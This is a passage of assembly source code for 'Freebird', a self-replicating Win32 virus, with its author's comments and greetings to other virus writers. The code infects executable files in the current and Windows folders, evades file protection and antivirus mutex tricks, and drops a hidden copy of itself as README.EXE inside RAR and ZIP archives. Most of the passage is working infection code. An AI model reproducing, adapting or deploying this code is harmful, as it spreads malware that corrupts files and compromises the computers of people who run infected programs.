win2k and tested under win98. That means it runs ; under windows 2000 without any problem (i cannot say the same about my ; previous 'win32' stuff). You only will notice it if thou get infected under ; such system ;) ; ; Finally i must say i'm in love with NASM, mainly due i have only this ; asm installed (fuck, and it fits in a single floppy: NASM+ALINK+DOCS+LIBS). ; ; Yes, it's Freebird from Lynard Skynard song. Oh Lord, I can't change ;) ; Try to find this song and listen it reading this lame source and, at least ; and may be not at last, you'll listen good music. ; ; That's all. The source code is pretty clear, but we're living bad times ; for the vx. May be this bug is only interesting for a small group of vxers: ; those that are experienced but still can learn something from the bee. ; ; I'm not used to greet ppl, but since i'm lost in combat... here follow ; some: ; ; Perikles: I miss you, i'll try to met you more often (use fweeder ; damnit, don't be afraid of vb huehe) ; Ratter: Seems now i'm newbie at your side... keep on rocking man ; Xezaw: We need young blood here... Metele canya pedacho gay! ; VirusBuster: Too much marulo arround here, uhm XD ; Mental Driller: You're the master, don't fool saying is matter of time ; Super: Looking forward to see that .NET shit, and your ring0 tute? ; TCP: Congratulations (he got married?) ; Vecna: Hey favelado, te veo flojo. Para cuando el fin del mundo? ; 29Aers: You're all alone... ; ; And big cheers to other ppl i used to talk to and now i cannot due i'm ; in the shadows: Yello, Clau, f0re, Zert, Slow, soyuz, TheVoid, Sheroc, ; Tokugawa, Evul, Gigabyte, Wintermute, Malware (where are you?), Griyo, ; Roadkill, Black Jack, star0, Rajaat, ... i cannot remember you, sorry =] ; ; ; If you wanna contact with me, ask someone that can find me. ; ; - main.asm BOF - [extern ExitProcess] [segment .text] [global main] main: lea esi,[fakeHost] ; setup fake 1st gen lea edi,[epobuffTMP] mov ecx,5 rep movsb lea edx,[fake_import] mov [__imp__],edx mov eax,400000h mov [baseAddr],eax ; def base addr lea esi,[vBegin] mov edi,vSize-4 call CRC32 mov [myCRC32],eax jmp ventry fake_import dd 077e80000h ; developed under win2k ; ; Since win doesn't implement code protection (via segment, thus under intel ; arch the only way to do it coz pages don't have code/data attrib), that's ; a nice way to 1st gen without external PE patcher. ; [segment .data] ventry: vBegin equ $ push eax ; room for ret addr pushad pushfd call getDelta lea esi,[vBegin+ebp] mov edi,vSize-4 call CRC32 ; integrity check mov ecx,[myCRC32+ebp] sub ecx,eax jecxz mycrc32ok jmp $ mycrc32ok: lea edi,[startUp+ebp] ; setup return lea esi,[infectTMP+ebp] ; stuff saved in add ecx,infectTMPlen ; infection with anti-debug rep movsb ; (ecx must be zero at this ; point) mov edx,12345678h __imp__ equ $-4 mov esi,[reloc+ebp] lea eax,[vBegin+ebp] sub esi,eax ; this virus supports relocs add [baseAddr+ebp],esi ; fix base addr (reloc) add [hostEP+ebp],esi ; fix host entry point add edx,esi ; use import to find mov edx,[edx] ; k32 base address xor eax,eax call seh jmp $ ; if we're not able to ; locate k32 we cannot ; get APIs and jmp back ; host is not possible ; ; Some stringz for the avers ; db "[ FREEBIRD: I make birds of mud and I throw them to fly ]" seh: push dword [fs:eax] mov dword [fs:eax],esp and edx,0fffff000h ; simple k32 scan add edx,1000h findK32BaseAddrLoop: sub edx,1000h cmp word [edx],'MZ' jne findK32BaseAddrLoop movzx eax,word [edx+3ch] cmp edx,dword [eax+edx+34h] jne findK32BaseAddrLoop mov [kerneldll+ebp],edx xor eax,eax ; remove SEH frame pop dword [fs:eax] pop eax scanKerneldll: mov ebx,12345678h ; get GetProcAddress kerneldll equ $-4 mov edi,ebx mov esi,edi add esi,3ch lodsd add eax,edi xchg eax,esi mov esi,dword [esi+78h] add esi,ebx add esi,1ch lodsd add eax,edi mov [address+ebp],eax lodsd add eax,edi mov [names+ebp],eax lodsd add eax,edi mov [ordinals+ebp],eax xor edx,edx lea esi,[GetProcAddress+ebp] mov ecx,GetProcAddresslen searchl: push ecx push esi mov edi,[names+ebp] add edi,edx mov edi,[edi] add edi,ebx rep cmpsb je fFound add edx,4 pop esi pop ecx jmp searchl fFound: pop esi pop ecx shr edx,1 add edx,[ordinals+ebp] movzx ebx,word [edx] shl ebx,2 add ebx,[address+ebp] mov ecx,[ebx] add ecx,[kerneldll+ebp] getAPI: mov [_GetProcAddress+ebp],ecx lea esi,[API0+ebp] ; now get APIs getAPILoop: push esi xor eax,eax lodsb push eax add esi,4 push esi push dword [kerneldll+ebp] call dword [_GetProcAddress+ebp] pop ecx pop esi mov [esi+1],eax add esi,ecx jecxz getAPILoopDone jmp getAPILoop getAPILoopDone: xor eax,eax push eax push eax push eax push eax lea esi,[serialNum+ebp] push esi mov [esi],eax ; fix string push eax push eax lea esi,[drive+ebp] push esi call dword [_GetVolumeInformationA+ebp] ; get serial number of or eax,eax ; c: drive jnz randomOk mov dword [serialNum+ebp],12345678h ; that's not random! randomOk: xor eax,eax inc eax cpuid ; mutex depends on CPU or eax,edx xor dword [serialNum+ebp],eax ; fuck you avers! hueheh ; random? XD and dword [serialNum+ebp],0f0f0f0fh ; build rnd string or dword [serialNum+ebp],"aaaa" ; why that pseudo random? we don't want the avers create ; their artificial mutex to fool the virus, do we? ; check our mutex to avoid overload the system with ; several instances of the virus infecting arround ; all at the same time... xor eax,eax lea esi,[serialNum+ebp] push esi push dword 1024 push eax push dword 4 push eax dec eax push eax call dword [_CreateFileMappingA+ebp] or eax,eax jz near failedToLoadDll mov [mutexHnd+ebp],eax call dword [_GetLastError+ebp] ; already there? cmp eax,0b7h je near closeMutex lea esi,[imagehlpdll+ebp] ; load imagehlp dll push esi call dword [_LoadLibraryA+ebp] or eax,eax jz near closeMutex mov [_imagehlpdll+ebp],eax lea esi,[CheckSumMappedFile+ebp] ; get API for PE checksum push esi push eax call dword [_GetProcAddress+ebp] mov [_CheckSumMappedFile+ebp],eax lea esi,[sfcdll+ebp] ; load sfc dll push esi call dword [_LoadLibraryA+ebp] mov [_sfcdll+ebp],eax or eax,eax jz near noSfc lea esi,[SfcIsFileProtected+ebp] ; get API to avoid sfc push esi push eax call dword [_GetProcAddress+ebp] noSfc: mov [_SfcIsFileProtected+ebp],eax ; hey bumble, remember that must be before any infection! call setupPerProcess ; setup per-process ; hooks ; now the run-time part lea esi,[path0+ebp] push esi push dword 260 call dword [_GetCurrentDirectoryA+ebp] or eax,eax jz endRuntimePart push dword 260 lea esi,[path1+ebp] push esi call dword [_GetWindowsDirectoryA+ebp] or eax,eax jz endRuntimePart mov ecx,eax ; if we're yet into lea esi,[path0+ebp] ; windows folder, avoid lea edi,[path1+ebp] ; infect more files rep cmpsb je endRuntimePart call scandirpe ; infect current folder lea esi,[path1+ebp] push esi call dword [_SetCurrentDirectoryA+ebp] or eax,eax jz endRuntimePart call scandirpe ; affect windows folder lea esi,[path0+ebp] ; go back home push esi call dword [_SetCurrentDirectoryA+ebp] call findArchives ; self explanatory XD endRuntimePart: mov eax,[_sfcdll+ebp] ; free it only if loaded or eax,eax ; (of coz hehe) jz sfcNotLoaded push dword [_sfcdll+ebp] call dword [_FreeLibrary+ebp] sfcNotLoaded: push dword [_imagehlpdll+ebp] ; good guys release the dlls call dword [_FreeLibrary+ebp] closeMutex: push dword [mutexHnd+ebp] ; close the 'mutex' call dword [_CloseHandle+ebp] failedToLoadDll: mov esi,[hostEP+ebp] mov [esp+24h],esi ; put ret addr call dword [_GetCurrentProcess+ebp] ; patch our process lea edx,[padding+ebp] push edx push dword 5 sub edx,-4 push edx push dword [hostEP+ebp] push eax call dword [_WriteProcessMemory+ebp] or eax,eax jz $ ; well... hehehe ; in fact it failed :P ; code modified by epo is restored ; just fly away popfd popad ret ; get variables displacement getDelta: call _getDelta _getDelta: pop ebp sub ebp,_getDelta ret ; does crc32 for self integrity check CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret %include "infectpe.inc" %include "findf.inc" %include "hooks.inc" %include "archive.inc" ; our import table API0 db API1-API0 _GetFileAttributesA dd 0 GetFileAttributesAstr db "GetFileAttributesA",0 API1 db API2-API1 _SetFileAttributesA dd 0 SetFileAttributesAstr db "SetFileAttributesA",0 API2 db API3-API2 _CreateFileA dd 0 CreateFileAstr db "CreateFileA",0 API3 db API4-API3 _GetFileSize dd 0 GetFileSizestr db "GetFileSize",0 API4 db API5-API4 _GetFileTime dd 0 GetFileTimestr db "GetFileTime",0 API5 db API6-API5 _CreateFileMappingA dd 0 CreateFileMappingAstr db "CreateFileMappingA",0 API6 db API7-API6 _MapViewOfFile dd 0 MapViewOfFilestr db "MapViewOfFile",0 API7 db API8-API7 _UnmapViewOfFile dd 0 UnmapViewOfFilestr db "UnmapViewOfFile",0 API8 db API9-API8 _CloseHandle dd 0 CloseHandlestr db "CloseHandle",0 API9 db APIa-API9 _SetFileTime dd 0 SetFileTimestr db "SetFileTime",0 APIa db APIb-APIa _GetCurrentProcess dd 0 GetCurrentProcessstr db "GetCurrentProcess",0 APIb db APIc-APIb _WriteProcessMemory dd 0 WriteProcessMemorystr db "WriteProcessMemory",0 APIc db APId-APIc _LoadLibraryA dd 0 LoadLibraryAstr db "LoadLibraryA",0 APId db APIe-APId _FreeLibrary dd 0 FreeLibrarystr db "FreeLibrary",0 APIe db APIf-APIe _FindFirstFileA dd 0 FindFirstFileAstr db "FindFirstFileA",0 APIf db API10-APIf _FindNextFileA dd 0 FindNextFileAstr db "FindNextFileA",0 API10 db API11-API10 _FindClose dd 0 FindClosestr db "FindClose",0 API11 db API12-API11 _SetCurrentDirectoryA dd 0 SetCurrentDirectoryAstr db "SetCurrentDirectoryA",0 API12 db API13-API12 _GetCurrentDirectoryA dd 0 GetCurrentDirectoryAstr db "GetCurrentDirectoryA",0 API13 db API14-API13 _GetWindowsDirectoryA dd 0 GetWindowsDirectoryAstr db "GetWindowsDirectoryA",0 API14 db API15-API14 _GetLastError dd 0 GetLastErrorstr db "GetLastError",0 API15 db API16-API15 _GetVolumeInformationA dd 0 GetVolumeInformationAs db "GetVolumeInformationA",0 API16 db API17-API16 _MultiByteToWideChar dd 0 MultiByteToWideChars db "MultiByteToWideChar",0 API17 db API18-API17 _GetFullPathNameW dd 0 GetFullPathNameWs db "GetFullPathNameW",0 API18 db 0 _WriteFile dd 0 WriteFiles db "WriteFile",0 GetProcAddress db "GetProcAddress",0 GetProcAddresslen equ $-GetProcAddress _GetProcAddress dd 0 _sfcdll dd 0 sfcdll db "SFC",0 _SfcIsFileProtected dd 0 SfcIsFileProtected db "SfcIsFileProtected",0 _imagehlpdll dd 0 imagehlpdll db "IMAGEHLP",0 _CheckSumMappedFile dd 0 CheckSumMappedFile db "CheckSumMappedFile",0 fmask: db "*.EXE",0 dropName: drive db 'c:\' ; for getvolume serialNum db 0,0,0,0,0 baseAddr dd 0 ; Generated RLE compressed data drop db 005h,04dh,05ah,06ch,000h,001h,083h,000h,004h,004h db 000h,011h,000h,082h,0ffh,001h,003h,082h,000h,001h db 001h,086h,000h,001h,040h,0a3h,000h,001h,070h,083h db 000h,02ch,00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdh db 021h,0b8h,000h,04ch,0cdh,021h,054h,068h,069h,073h db 020h,070h,072h,06fh,067h,072h,061h,06dh,020h,072h db 065h,071h,075h,069h,072h,065h,073h,020h,057h,069h db 06eh,033h,032h,00dh,00ah,024h,084h,000h,002h,050h db 045h,082h,000h,008h,04ch,001h,004h,000h,07ah,0e2h db 064h,03dh,088h,000h,006h,0e0h,000h,002h,001h,00bh db 001h,08fh,000h,001h,010h,08ch,000h,001h,040h,082h db 000h,001h,010h,083h,000h,001h,002h,082h,000h,001h db 001h,087h,000h,001h,004h,088h,000h,001h,050h,083h db 000h,001h,004h,086h,000h,001h,002h,085h,000h,001h db 010h,082h,000h,001h,010h,084h,000h,001h,010h,082h db 000h,001h,010h,086h,000h,001h,010h,08ch,000h,001h db 030h,082h,000h,001h,056h,09ch,000h,001h,040h,082h db 000h,001h,00ah,0d3h,000h,005h,02eh,074h,065h,078h db 074h,084h,000h,001h,010h,083h,000h,001h,010h,082h db 000h,001h,006h,084h,000h,001h,004h,08eh,000h,001h db 020h,082h,000h,008h,060h,049h,04dh,050h,04fh,052h db 054h,053h,082h,000h,001h,010h,083h,000h,001h,020h db 082h,000h,001h,006h,084h,000h,001h,006h,08eh,000h db 001h,060h,082h,000h,008h,060h,069h,06dh,070h,06fh db 072h,074h,073h,082h,000h,001h,010h,083h,000h,001h db 030h,082h,000h,001h,056h,084h,000h,001h,008h,08eh db 000h,001h,040h,082h,000h,007h,050h,072h,065h,06ch db 06fh,063h,073h,083h,000h,001h,010h,083h,000h,001h db 040h,082h,000h,001h,00ah,084h,000h,001h,00ah,08eh db 000h,001h,040h,082h,000h,001h,052h,0ffh,000h,0ffh db 000h,0ffh,000h,0fbh,000h,004h,050h,0e8h,0fah,00fh db 0ffh,000h,0ffh,000h,0ffh,000h,0ffh,000h,005h,0ffh db 025h,040h,030h,040h,0ffh,000h,0ffh,000h,0ffh,000h db 0feh,000h,002h,038h,030h,08ah,000h,002h,028h,030h db 082h,000h,002h,040h,030h,096h,000h,00ah,06bh,065h db 072h,06eh,065h,06ch,033h,032h,02eh,064h,082h,06ch db 084h,000h,002h,048h,030h,086h,000h,002h,048h,030h db 088h,000h,009h,045h,078h,069h,074h,050h,072h,06fh db 063h,065h,082h,073h,0ffh,000h,0ffh,000h,0ffh,000h db 0afh,000h,001h,020h,082h,000h,001h,00ah,083h,000h db 002h,002h,030h ; That headers thanks to Int13h (or star0?) RARHeader: ; Header that we will add RARHeaderCRC dw 0 ; We'll fill: CRC of header RARType db 074h ; File Header RARFlags dw 8000h RARHeadsize dw FinRARHeader-RARHeader RARCompressed dd 0 ; Compressed and Original RAROriginal dd 0 ; size are the same, we stored RAROs db 0 ; OS: 0 ms-dos? RARCrc32 dd 0 ; We must fill this field RARFileTime db 0,0 ; Time of the program RARFileDate db 0,0 ; Date of the proggy RARNeedVer db 014h RARMethod db 030h ; Method: storing RARFnameSize dw FinRARHeader-RARName RARAttrib dd 20h ; archive RARName db "README.EXE" ; Name of file to drop FinRARHeader: ; That header thanks to star0 LocalHeader: ZIPlogsig: db 50h,4bh,03,04 ; signature ZIPver: dw 0ah ; ver need to extract ZIPgenflag: dw 0 ; no particulary flag ZIPMthd: dw 0 ; no compression ZIPTime: dw 0 ; aleatory ZIPDate: dw 0 ; aleatory ZIPCrc: dd 0 ; unknown ZIPSize: dd 0 ; unknown ZIPUncmp: dd 0 ; unknown ZIPFnln: dw 10 ; unknown ZIPXtraLn: dw 0 ; unknown ZIPfileName: db "README.EXE" CentralHeader: ZIPCenSig: db 50h,4bh,01,02 ; central signature ZIPCver: db 0 ; ver made by ZIPCos: db 0 ; Host Operating -> All ZIPCvxt: db 0 ; Ver need to extract ZIPCeXos: db 0 ; Ver need to extract. ZIPCflg: dw 0 ; No encryption ! ZIPCmthd: dw 0 ; Method : Store it ! ZIPCtim: dw 0 ; last mod time ZIPCDat: dw 0 ; last mod date ZIPCCrc: dd 0 ; Crc-32 unknown ZIPCsiz: dd 0 ; Compressed size unknown ZIPCunc: dd 0 ; Uncompressed size unkown ZIPCfnl: dw 10 ; filename length unknown ZIPCxtl: dw 0 ; Extra Field length 0 ZIPCcml: dw 0 ; file comment length 0 ZIPDsk: dw 0 ; Disk number start (?) 0 ZIPInt: dw 1 ; Internal file attribute ZIPExt: dd 20h ; external file attrib ZIPOfst: dd 0 ; relativeoffset local head ZIPCfileName: db "README.EXE" EndOfCentral: ; used at infection stage infectTMP: epobuffTMP dd 0 db 0 hostEPTMP dd fakeHost relocTMP dd vBegin infectTMPlen equ $-infectTMP myCRC32 dd 0 vEnd equ $ vSize equ (vEnd-vBegin) ; bss data not included into infected files (that's virtual memory) path0 times 260 db 0 path1 times 260 db 0 dropExp times 2570 db 0 ; place to uncompress the ; dropper address dd 0 names dd 0 ordinals dd 0 mutexHnd dd 0 finddata: dwFileAttributes dd 0 dwLowDateTime0 dd 0 dwHigDateTime0 dd 0 dwLowDateTime1 dd 0 dwHigDateTime1 dd 0 dwLowDateTime2 dd 0 dwHigDateTime2 dd 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved dd 0,0 cFileName times 260 db 0 cAlternateFilename times 16 db 0 ; for sfc shit wideBuffer times 260*2 db 0 ; 260 wide chars wideBuffer2 times 260*2 db 0 dummy dd 0 findHnd dd 0 chksum dd 0,0 fHnd dd 0 mapMem dd 0 fhmap dd 0 fileTime0 dd 0,0 fileTime1 dd 0,0 fileTime2 dd 0,0 fileAttrib dd 0 fileSize dd 0 padding dd 0 ; those must be joint startUp: epobuff dd 0 db 0 hostEP dd 0 reloc dd 0 viEnd equ $ viSize equ (viEnd-vBegin) fakeHost: push dword 0 call ExitProcess ; - main.asm EOF - ; - archive.inc BOF - fgenmask db "*.*",0 ; ; Look for archives to add our virus ; findArchives: call dropTheVirus ; drop the virus lea eax,[finddata+ebp] push eax lea eax,[fgenmask+ebp] push eax call dword [_FindFirstFileA+ebp] inc eax jz near notFoundArchive dec eax mov dword [findHnd+ebp],eax findNextArchive: mov eax,dword [nFileSizeLow+ebp] ; avoid small cmp eax,2000h ; 8 kbs jb near skipThisArchive cmp eax,400000h*2 ; avoid huge (top 4 mbs) ja near skipThisArchive lea esi,[cFileName+ebp] push esi UCaseLoopArc: cmp byte [esi],'a' jb notUCaseArc cmp byte [esi],'z' ja notUCaseArc sub byte [esi],'a'-'A' notUCaseArc: lodsb or al,al jnz UCaseLoopArc mov eax,[esi-5] pop esi not eax cmp eax,~".RAR" jne nextArc0 call infectRAR jmp skipThisArchive nextArc0: cmp eax,~".ZIP" jne nextArc1 call infectZIP jmp skipThisArchive nextArc1: skipThisArchive: lea eax,[finddata+ebp] push eax push dword [findHnd+ebp] call dword [_FindNextFileA+ebp] or eax,eax jnz near findNextArchive push dword [findHnd+ebp] call dword [_FindClose+ebp] notFoundArchive: ret ; uncompress the dropper and infect it dropTheVirus: xor ecx,ecx ; expand the RLEed mov edx,2570 ; dropper lea esi,[drop+ebp] lea edi,[dropExp+ebp] expandLoop: test byte [esi],128 jnz expRep mov cl,byte [esi] and cl,127 sub edx,ecx inc esi rep movsb or edx,edx jnz expandLoop jmp endExpand expRep: mov cl,byte [esi] inc esi lodsb and cl,127 sub edx,ecx rep stosb or edx,edx jnz expandLoop endExpand: xor eax,eax push eax push dword 00000007h ; system, read only and hidden push dword 00000001h push eax push eax push dword 40000000h lea esi,[dropName+ebp] ; that must be initialized push esi ; before use it! call dword [_CreateFileA+ebp] inc eax jz skipDrop dec eax push eax push dword 0 lea esi,[dummy+ebp] push esi push dword 2570 lea esi,[dropExp+ebp] push esi push eax call dword [_WriteFile+ebp] call dword [_CloseHandle+ebp] lea esi,[dropName+ebp] call infectpe skipDrop: ret ; adds the dropper to a RAR archive pointed by esi infectRAR: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionErrorRAR dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionErrorRAR push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttribRAR dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorCloseRAR dec eax mov [fileSize+ebp],eax lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorCloseRAR xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseRAR mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapRAR mov [mapMem+ebp],eax ; don't rely too much on next part XD ; using RAR32 for tests mov edx,[eax] not edx cmp edx,~"Rar!" ; a RAR archive? jne near infectionErrorCloseMapRAR add eax,14h ; skip main header cmp byte [eax+2],74h ; a RAR header? jne near infectionErrorCloseMapRAR mov edx,[eax+RARName-RARHeader] ; check if already not edx ; infected cmp edx,~"READ" jne RARNotFound mov edx,[eax+RARName-RARHeader+4] not edx cmp edx,~"ME.E" je near infectionErrorCloseMapRAR RARNotFound: ; The RAR file seems ok and it's not infected mov dx,[eax+RARFileTime-RARHeader] ; less suspicious mov [RARFileTime+ebp],dx mov dx,[eax+RARFileDate-RARHeader] mov [RARFileDate+ebp],dx mov dl,[eax+RAROs-RARHeader] ; same os mov [RAROs+ebp],dl ; now load our droper xor eax,eax push eax push dword 00000007h push dword 00000003h push eax push eax push dword 80000000h lea esi,[dropName+ebp] ; our dropper push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorCloseMapRAR dec eax push eax push dword 0 push eax call dword [_GetFileSize+ebp] pop ebx inc eax jz near infectionErrorCloseMapRAR dec eax add [fileSize+ebp],eax ; new size add dword [fileSize+ebp],FinRARHeader-RARHeader mov [RARCompressed+ebp],eax ; update RAR header mov [RAROriginal+ebp],eax push ebx xor eax,eax push eax push eax push eax push dword 2 push eax push ebx call dword [_CreateFileMappingA+ebp] pop ebx or eax,eax jz near infectionErrorCloseMapRAR push ebx push eax mov ebx,eax xor eax,eax push eax push eax push eax push dword 4 push ebx call dword [_MapViewOfFile+ebp] pop edx pop ebx or eax,eax jz near infectionErrorCloseMapRAR push ebx ; file hnd push edx ; file mapping push eax ; map view of file mov esi,eax mov edi,[RAROriginal+ebp] call CRC32 mov [RARCrc32+ebp],eax lea esi,[RARHeader+2+ebp] mov edi,FinRARHeader-RARHeader-2 call CRC32 mov [RARHeaderCRC+ebp],ax push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] push dword [fhmap+ebp] call dword [_CloseHandle+ebp] pop dword [wideBuffer+ebp] ; view of file pop dword [wideBuffer+4+ebp]; file mapping pop dword [wideBuffer+8+ebp]; file handle xor eax,eax push eax push dword [fileSize+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseRAR mov [fhmap+ebp],eax xor eax,eax push dword [fileSize+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapRAR mov [mapMem+ebp],eax mov edi,eax add edi,[fileSize+ebp] ; end of file mov esi,eax add esi,14h ; begin of data add esi,FinRARHeader-RARHeader ; plus added size add esi,[RAROriginal+ebp] mov ecx,edi ; size of data to move sub ecx,esi mov esi,edi sub esi,FinRARHeader-RARHeader sub esi,[RAROriginal+ebp] dec esi dec edi moveLoopRAR: ; move the data lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveLoopRAR mov edi,[mapMem+ebp] ; insert our data add edi,14h lea esi,[RARHeader+ebp] mov ecx,FinRARHeader-RARHeader rep movsb mov esi,[wideBuffer+ebp] mov ecx,[RAROriginal+ebp] rep movsb push dword [wideBuffer+ebp] call dword [_UnmapViewOfFile+ebp] push dword [wideBuffer+4+ebp] call dword [_CloseHandle+ebp] push dword [wideBuffer+8+ebp] call dword [_CloseHandle+ebp] ; dropper released infectionErrorCloseUnmapRAR: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMapRAR: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorCloseRAR: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttribRAR: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionErrorRAR: ret ; adds the dropper to a ZIP archive pointed by esi infectZIP: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionErrorZIP dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionErrorZIP push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttribZIP dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorCloseZIP dec eax mov [fileSize+ebp],eax mov [dummy+ebp],eax ; required later lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorCloseZIP xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseZIP mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapZIP mov [mapMem+ebp],eax ; don't rely too much on next part XD ; using ZIP32 for tests add eax,[fileSize+ebp] sub eax,16h mov edx,[eax] cmp edx,06054b50h ; a ZIP archive? jne near infectionErrorCloseMapZIP mov edx,[eax+10h] ; already infected? add edx,[mapMem+ebp] cmp dword [edx+2eh],"READ" jne notFoundZIP cmp dword [edx+2eh+4],"ME.E" je near infectionErrorCloseMapZIP notFoundZIP: mov cl,[edx+4] ; get some things from mov [ZIPCver+ebp],cl ; this entry to be less mov cl,[edx+5] ; suspicious mov [ZIPCos+ebp],cl mov cx,[edx+0ch] mov [ZIPCtim+ebp],cx mov cx,[edx+0eh] mov [ZIPCDat+ebp],cx mov cl,[edx+06h] mov [ZIPCvxt+ebp],cl mov cl,[edx+07h] mov [ZIPCeXos+ebp],cl ; now load our droper xor eax,eax push eax push dword 00000007h push dword 00000003h push eax push eax push dword 80000000h lea esi,[dropName+ebp] ; our dropper push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorCloseMapZIP dec eax push eax push dword 0 push eax call dword [_GetFileSize+ebp] pop ebx inc eax jz near infectionErrorCloseMapZIP dec eax add [fileSize+ebp],eax ; new size add dword [fileSize+ebp],EndOfCentral-LocalHeader mov [ZIPSize+ebp],eax ; update ZIP header mov [ZIPUncmp+ebp],eax mov [ZIPCsiz+ebp],eax mov [ZIPCunc+ebp],eax push ebx xor eax,eax push eax push eax push eax push dword 2 push eax push ebx call dword [_CreateFileMappingA+ebp] pop ebx or eax,eax jz near infectionErrorCloseMapZIP push ebx push eax mov ebx,eax xor eax,eax push eax push eax push eax push dword 4 push ebx call dword [_MapViewOfFile+ebp] pop edx pop ebx or eax,eax jz near infectionErrorCloseMapZIP mov [wideBuffer+ebp],eax ; view of file mov [wideBuffer+4+ebp],edx ; file mapping mov [wideBuffer+8+ebp],ebx ; file handle mov esi,eax ; get virus CRC32 mov edi,[ZIPSize+ebp] call CRC32 mov [ZIPCCrc+ebp],eax mov [ZIPCrc+ebp],eax xor eax,eax push eax push dword [fileSize+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseZIP mov [fhmap+ebp],eax xor eax,eax push dword [fileSize+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapZIP mov [mapMem+ebp],eax add eax,[dummy+ebp] ; size of the old zip sub eax,16h ; end header mov ecx,[eax+0ch] ; size of central dir add ecx,16h ; last header mov esi,[mapMem+ebp] add esi,[eax+10h] ; start of dir mov edi,[mapMem+ebp] add edi,[fileSize+ebp] sub edi,ecx ; new address add edi,ecx ; we must copy it add esi,ecx ; reversed ; move the central dir dec esi dec edi moveCentralDir: lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveCentralDir mov eax,[mapMem+ebp] ; new addres of the add eax,[fileSize+ebp] ; header sub eax,16h ; now add our central entry mov edi,[mapMem+ebp] mov edx,[ZIPSize+ebp] add edx,CentralHeader-LocalHeader add [eax+10h],edx ; fix offset add edi,[eax+10h] lea esi,[CentralHeader+ebp] mov ecx,EndOfCentral-CentralHeader rep movsb ; add our central entry mov esi,edi ; 1st non viral entry mov ecx,EndOfCentral-CentralHeader add [eax+0ch],ecx ; fix size inc word [eax+0ah] ; one more entry inc word [eax+08h] ; once again ; now fix the directories offsets movzx ecx,word [eax+0ah] ; num of entries dec ecx ; skip viral one mov ebx,[ZIPSize+ebp] add ebx,CentralHeader-LocalHeader ; increase len fixZIPDirLoop: add [esi+2ah],ebx ; fix offset mov edx,2eh add dx,[esi+1ch] add dx,[esi+1eh] add dx,[esi+20h] ; dir total size add esi,edx loop fixZIPDirLoop ; now process local entries mov ebx,[ZIPSize+ebp] add ebx,CentralHeader-LocalHeader mov ecx,[eax+10h] ; offs central = local len sub ecx,ebx mov esi,[mapMem+ebp] ; 1st local mov edi,esi add edi,ebx ; new local place add esi,ecx ; goto end to move from add edi,ecx ; bottom to top ; move local entries to its new place dec esi dec edi moveLocalZIP: lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveLocalZIP mov edi,[mapMem+ebp] lea esi,[LocalHeader+ebp] mov ecx,CentralHeader-LocalHeader rep movsb ; copy our local header mov ecx,[ZIPSize+ebp] mov esi,[wideBuffer+ebp] rep movsb ; and copy the dropper push dword [wideBuffer+ebp] call dword [_UnmapViewOfFile+ebp] push dword [wideBuffer+4+ebp] call dword [_CloseHandle+ebp] push dword [wideBuffer+8+ebp] call dword [_CloseHandle+ebp] ; dropper released 